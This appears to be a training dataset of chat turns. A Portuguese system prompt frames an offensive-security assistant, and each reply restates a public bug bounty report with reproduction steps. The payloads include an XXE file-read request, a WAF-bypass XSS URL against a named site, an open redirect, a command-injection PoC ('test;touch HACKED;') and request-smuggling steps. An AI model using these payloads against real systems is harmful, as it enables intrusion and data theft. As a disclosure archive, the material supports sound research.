The Rate Limit should always be on the login endpoint and have an acceptable limit, for example, 20 rate limit, but when there is no limit or the limit is huge, for example, 5000, this is certainly dangerous because it is a Rate Limit Misconfiguration, [for example](https://hackerone.com/reports/385381) .

--------------

### Impacto
The attacker can access to many accounts whose passwords are weak .


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Disable xmlrpc.php file

[Assistant]
### Resumo da Vulnerabilidade
xmlrpc.php can be used for portscanning or bruteforce attacks. Better is to hide this file.

### Passos para Reproduzir
1. Go to https://www.topechelon.com/xmlrpc.php
2. send a post request.

POST /xmlrpc.php HTTP/1.1
Host: www.topechelon.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 91

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

HTTP/1.1 200 OK
Date: Fri, 11 Oct 2019 16:34:08 GMT
Content-Type: text/xml; charset=UTF-8
Content-Length: 4272
Connection: close
Set-Cookie: __cfduid=d3522855e8b518b66e70317fce00b27b91570811646; expires=Sat, 10-Oct-20 16:34:06 GMT; path=/; domain=.topechelon.com; HttpOnly
Vary: Accept-Encoding
CF-Cache-Status: DYNAMIC
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-Content-Type-Options: nosniff
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
CF-RAY: 52423d543ec4ddf1-SIN

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><string>system.multicall</string></value>
  <value><string>system.listMethods</string></value>
  <value><string>system.getCapabilities</string></value>
  <value><string>demo.addTwoNumbers</string></value>
  <value><string>demo.sayHello</string></value>
  <value><string>pingback.extensions.getPingbacks</string></value>
  <value><string>pingback.ping</string></value>
  <value><string>mt.publishPost</string></value>
  <value><string>mt.getTrackbackPings</string></value>
  <value><string>mt.supportedTextFilters</string></value>
  <value><string>mt.supportedMethods</string></value>
  <value><string>mt.setPostCategories</string></value>
  <value><string>mt.getPostCategories</string></value>
  <value><string>mt.getRecentPostTitles</string></value>
  <value><string>mt.getCategoryList</string></value>
  <value><string>metaWeblog.getUsersBlogs</string></value>
  <value><string>metaWeblog.deletePost</string></value>
  <value><string>metaWeblog.newMediaObject</string></value>
  <value><string>metaWeblog.getCategories</string></value>
  <value><string>metaWeblog.getRecentPosts</string></value>
  <value><string>metaWeblog.getPost</string></value>
  <value><string>metaWeblog.editPost</string></value>
  <value><string>metaWeblog.newPost</string></value>
  <value><string>blogger.deletePost</string></value>
  <value><string>blogger.editPost</string></value>
  <value><string>blogger.newPost</string></value>
  <value><string>blogger.getRecentPosts</string></value>
  <value><string>blogger.getPost</string></value>
  <value><string>blogger.getUserInfo</string></value>
  <value><string>blogger.getUsersBlogs</string></value>
  <value><string>wp.restoreRevision</string></value>
  <value><string>wp.getRevisions</string></value>
  <value><string>wp.getPostTypes</string></value>
  <value><string>wp.getPostType</string></value>
  <value><string>wp.getPostFormats</string></value>
  <value><string>wp.getMediaLibrary</string></value>
  <value><string>wp.getMediaItem</string></value>
  <value><string>wp.getCommentStatusList</string></value>
  <value><string>wp.newComment</string></value>
  <value><string>wp.editComment</string></value>
  <value><string>wp.deleteComment</string></value>
  <value><string>wp.getComments</string></value>
  <value><string>wp.getComment</string></value>
  <value><string>wp.setOptions</string></value>
  <value><string>wp.getOptions</string></value>
  <value><string>wp.getPageTemplates</string></value>
  <value><string>wp.getPageStatusList</string></value>
  <value><string>wp.getPostStatusList</string></value>
  <value><string>wp.getCommentCount</string></value>
  <value><string>wp.deleteFile</string></value>
  <value><string>wp.uploadFile</string></value>
  <value><string>wp.suggestCategories</string></value>
  <value><string>wp.deleteCategory</string></value>
  <value><string>wp.newCategory</string></value>
  <value><string>wp.getTags</string></value>
  <value><string>wp.getCategories</string></value>
  <value><string>wp.getAuthors</string></value>
  <value><string>wp.getPageList</string></value>
  <value><string>wp.editPage</string></value>
  <value><string>wp.deletePage</string></value>
  <value><string>wp.newPage</string></value>
  <value><string>wp.getPages</string></value>
  <value><string>wp.getPage</string></value>
  <value><string>wp.editProfile</string></value>
  <value><string>wp.getProfile</string></value>
  <value><string>wp.getUsers</string></value>
  <value><string>wp.getUser</string></value>
  <value><string>wp.getTaxonomies</string></value>
  <value><string>wp.getTaxonomy</string></value>
  <value><string>wp.getTerms</string></value>
  <value><string>wp.getTerm</string></value>
  <value><string>wp.deleteTerm</string></value>
  <value><string>wp.editTerm</string></value>
  <value><string>wp.newTerm</string></value>
  <value><string>wp.getPosts</string></value>
  <value><string>wp.getPost</string></value>
  <value><string>wp.deletePost</string></value>
  <value><string>wp.editPost</string></value>
  <value><string>wp.newPost</string></value>
  <value><string>wp.getUsersBlogs</string></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

### Impacto
this could be used for portscanning or brute force attacks.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Creating malformed URLs via new line character in-between two URLs leads to misrepresented hyperlinks in Tweets/DMs

[Assistant]
### Passos para Reproduzir
1.) Open either (1) direct messages, or (2) composing a tweet
2.) Type out `fakewebsite.twitter.com`, click enter, and intercept the request with Burp Suite
3.) Modify the `status` or `text` parameter (depending on if you're tweeting or DMing) to be `fakewebsite.tw%0ditter.com` like so...

```
POST /1.1/dm/new.json HTTP/1.1
Host: api.twitter.com

text=fakewebsite.tw%0ditter.com&cards_platform=Web-12&include_cards=1&include_composer_source=true&include_ext_alt_text=true&include_reply_count=1&tweet_mode=extended&dm_users=false&include_groups=true&include_inbox_timelines=true&include_ext_media_color=true&conversation_id=██████&recipient_ids=false&request_id=&ext=mediaColor,altText,mediaStats,highlightedLabel,cameraMoment
```

4.) Observe the URL is displayed as `fakewebsite.twitter.com` but is actually a hyperlink to both `fakewebsite.tw` and `itter.com`.

### Impacto
This could be exploited as a targeted attack or mass phishing attack towards Twitter (the ongoing cryptocurrency scams) by abusing the integrity of Twitter's URL rendering service to create legitimate looking URLs. Although Twitter cannot control the content that is displayed on the other URL, it is possible to control the way URLs are displayed before presenting them to the user.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Exploiting Network and Timing Side-Channels to Break Monero Receiver Anonymity

[Assistant]
### Resumo da Vulnerabilidade
We present various examples of side-channel leakage in the communication between a Monero wallet and P2P node. Communication patterns and timing leak whether the wallet is the payee of a transaction that is sent into the transaction pool or mined in a block—thereby breaking transaction privacy, as well as enabling linking of stealth addresses.
If a user connects their Monero wallet to a remote node, the required leakage in commu- nication patterns and timing is observable by a malicious (yet passive) remote node provider, or by a passive network adversary that monitors the encrypted traffic between a wallet and a trusted node. Even if the wallet and node are both hosted locally and trusted, side-channel leakage can be observed by an active remote attacker with a P2P connection to the node.

### Passos para Reproduzir
The attached report (which we also sent to ric@getmonero.org and luigi1111@getmonero.org via PGP) explains the different vulnerabilities and how they can be exploited.

### Impacto
A remote attacker (either in control of a public node, or a network adversary monitoring communication to a remote node, or even a remote P2P participant connected to a wallet's local node) can infer when the wallet is the payee of a transaction added to the mempool or mined in a block.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Only OpenSSL handles a CRL when passed in via CApath

[Assistant]
### Resumo da Vulnerabilidade
Code in vtls/nss.c interprets CApath option differently than OpenSSL-using code,
user can be mislead to unsecure use of curl/libcurl easily. CApath directory
can contain CRL files in addition to CA certificate files and they are used
for certificate verification when curl calls OpenSSL. Code path using NSS blindly
loads all files residing in CApath as CA certificates instead, which has two effects:
first, the meaning of CRLs is ignored and revoked certificates can be accepted,
second, NSS may find duplicate SN in corrupt 'CA certificate' during TLS handshake and break
connection to legitimate server (NSS does not perform full validation in load
and search routines, ASN.1 templates used can mistakenly match both types of object).
Such use is not explicitly supported according to curl documentation strictly speaking
but I find current implementation very risky (I know security professionals who have fallen to this trap)
and recommend adding validation/type detection for each file loaded
from CApath (or using c_hash-style name extensions if any file with such extension
is present, if full validation is deemed too complicated or as a quick fix helping most users).

# Steps To Reproduce:
  1. revoke a certificate, install resulting CRL in CApath, try with NSS-based curl
  2. try connecting TLS server whose CA has self-signed certificate with SN=1 and CRL in CApath
     (success can depend on order of directory entries)

### Impacto
An attacker can impersonate TLS server using revoked (presumably leaked) certificate.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: curl successfully matches IP address literal in URL against IP address literal in certificate Common Name

[Assistant]
### Resumo da Vulnerabilidade
A user may invoke the curl command line utility with an IP address literal in the URL, such as

    https://192.168.124.2/...

If the HTTPS server presents a certificate whose Common Name matches this IP address literal as a *string* (that is, Common Name is the ASCII string `192.168.124.2`), then curl accepts the certificate (assuming it is properly signed by a trusted CA).

This is wrong. Per [RFC-2818, section *3.1.  Server Identity*](https://tools.ietf.org/html/rfc2818#section-3.1):

    In some cases, the URI is specified as an IP address rather than a
    hostname. In this case, the iPAddress subjectAltName must be present
    in the certificate and must exactly match the IP in the URI.

That is, if the user-specified URL contains an IPv4 or IPv6 address literal, then the server certificate may only match the URL if the certificate contains the same *numeric* IP address in the *SAN*, as a `GEN_IP` entry.

Curl should first attempt `X509_VERIFY_PARAM_set_ip_asc()`, and call `X509_VERIFY_PARAM_set1_host()` only if the former fails.

### Passos para Reproduzir
1. Generate a new certificate request, for example with the [`genkey` utility](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/system_administrators_guide/ch-web_servers#s3-apache-mod_ssl-genkey), specifying the server's IPv4 or IPv6 address on the command line / in the Common Name field. (My `genkey` is from `crypto-utils-2.4.1-42.el7.x86_64`.)
  1. Sign the certificate request with a local CA such that `curl` trust the local CA.
  1. Configure Apache's `mod_ssl` such that it listen on the IPv4 or IPv6 address in question.
  1. Fetch an URI with curl from the web server, using the `https` scheme, and the IP address.
  1. Curl accepts the certificate.

### Impacto
I'm not sure this problem can be used for an *attack*. It's just that string representations of IP addresses are not unique. URL to Subject Name matching should use canonical representations only.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [HTA2] XXE on https://███ via SpellCheck Endpoint.

[Assistant]
### Resumo da Vulnerabilidade
There is a full read XXE vulnerability on

### Passos para Reproduzir
1. Log into `https://██████/` with the credentials `██████`
  2. Get your cookies and make the following HTTP Request with them

```
POST /Kview/CustomCodeBehind/Base/Utilities/RapidSpellHelpFile.aspx HTTP/1.1
Host: ███████
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=UTF-8
Content-Length: 1238
Connection: close
Referer: https://██████████/Kview/CustomCodeBehind/Base/PersonalHomepage/PersonalHomepageCalendarAddEvent.aspx?EventAction=AddEvent&EventDate=10/16/2019%2012:00:01%20AM
Cookie: [COOKIES]

<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY a SYSTEM "file:///c:\Windows\System32\Drivers\etc\hosts">]>
<r><resp>xml</resp><textToCheck>&a;</textToCheck><IAW/><UserDictionaryFile/><DictFile>d:\Meridian\MWRA\MG\11.1\KView\CustomCodeBehind\Base/en-US/DICT-EN-US-USEnglish.dict</DictFile><SuggestionsMethod>HASHING_SUGGESTIONS</SuggestionsMethod><LanguageParser>ENGLISH</LanguageParser><SeparateHyphenWords>False</SeparateHyphenWords><V2Parser>True</V2Parser><SSLFriendlyPage>/KView/CustomCodeBehind/WebResource.axd?d=zqrwmEhOpCtb9wLAM9uWrOzT_jYv5Un0ehQNczyIJSp-b9XbsULhZuZahCBf8Qk8anUm2kaMbXSDgD8qtwoc7T6Vnc9cbWVmTwIkPCbvIqLzTEGbDgA2oGtmx8o1&t=633221022140000000</SSLFriendlyPage><SuggestSplitWords>True</SuggestSplitWords><IncludeUserDictionaryInSuggestions>True</IncludeUserDictionaryInSuggestions><WarnDuplicates>True</WarnDuplicates><IgnoreWordsWithDigits>True</IgnoreWordsWithDigits><CheckCompoundWords>False</CheckCompoundWords><LookIntoHyphenatedText>True</LookIntoHyphenatedText><GuiLanguage>ENGLISH</GuiLanguage><IgnoreXML>False</IgnoreXML><IgnoreCapitalizedWords>False</IgnoreCapitalizedWords><ConsiderationRange>-1</ConsiderationRange><IgnoreURLsAndEmailAddresses>True</IgnoreURLsAndEmailAddresses><AllowMixedCase>False</AllowMixedCase></r>
```

You will see the contents of `c:\Windows\System32\Drivers\etc\hosts` in the response:

██████████

We can also make HTTP requests to external and internal applications and read the full responses. We can also like steal NTLM domain hashes.

████

### Impacto
Critical, an attacker can read local files, make HTTP requests to internal applications and read the responses, steal NTLM hashes, and also completely deny service to the application.

Best,
Corben Leo (@cdl)


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: http request smuggling in  twitter.com

[Assistant]
### Passos para Reproduzir
ps : i use chrome browser,with burp
1- choose any valid POST request (or change GET to POST) from twitter.com and send it to repeater
2- delete this header (Connection: close  ,Accept-Encoding: gzip, deflate)
3- add this header <Transfer-Encoding: chunked>

4- add chunked encode    put a valid chunked code or   [ put just 0 with two CRLFs]
5-put the second request  [i use a TWEET request ]
6- send the attacker request

### Impacto
impact of http request smuggling
- https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
- https://portswigger.net/web-security/request-smuggling/exploiting


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Stored XSS (Hexo-admin plugin)

[Assistant]
### Passos para Reproduzir
Steps of reproduction
==========================
1. Prerequisites are
    - hexojs (Static blog generator)
    - hexo-admin plugin (https://github.com/jaredly/hexo-admin)

2. Start the hexo server from website directory (command: hexo server -d)
3. Access hexo admin panel at localhost:4000/admin
4. Click on the posts section
5. Create the new post and give it a title (Test XSS here)
6. In the post content you can put the below payloads
    1.  ">
    2.  ">
7. You'll get the XSS pop-up in the post editor
8. Save the post and rebuilt the pages with for changes
9. To generate again, apply below commands
     1. hexo clean
     2. hexo generate
     3. hexo server -d
10. Go to your post "Test XSS"
11. You'll get the XSS pop-up there every time you open that page because it is stored.

### Impacto
Stored XSS allows an attacker to embed a malicious script into a vulnerable page, which is then executed when a victim views the page.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: WAF bypass via double encoded non standard ASCII chars permitted a reflected XSS on response page not found pages - (629745 bypass)

[Assistant]
### Passos para Reproduzir
1. Visit this link on Firefox:

```
https://www.starbucks.com.br/testing%2522%80%2520accesskey='x'%2520onclick='confirm%601%60'
```

  2. Press CONTROL+ALT+X on Mac, or ALT+SHIFT+X on Windows

### Impacto
As the original report said:
"JavaScript is against Starbucks users on multiple critical domains. JavaScript execution results in information theft and an attacker can perform unwanted actions on a victim's behalf".


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Open redirect in semrush.com

[Assistant]
### Passos para Reproduzir
Visit: `www.semrush.com/login/?redirect_to=/\google.com`
Once you login, you will be redirected to google.com

### Impacto
This vulnerability can be used for phishing attacks


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [git-lib] RCE via insecure command formatting

[Assistant]
### Passos para Reproduzir
1. Create the following PoC file:

```js
// poc.js
var git = require("git-lib");

git.add("test;touch HACKED;").then(function(){
    /** successfully added **/
}).catch(function(err){
    /** unsuccessful **/
});

```
1. Check there aren't files called `HACKED`
1. Execute the following commands in another terminal:

```bash
npm i git-lib # Install affected module
git init # Avoid problems with *git*
node poc.js #  Run the PoC
```
1. Recheck the files: now `HACKED` has been created :) {F612830}

### Impacto
`RCE` via command formatting on `git-lib`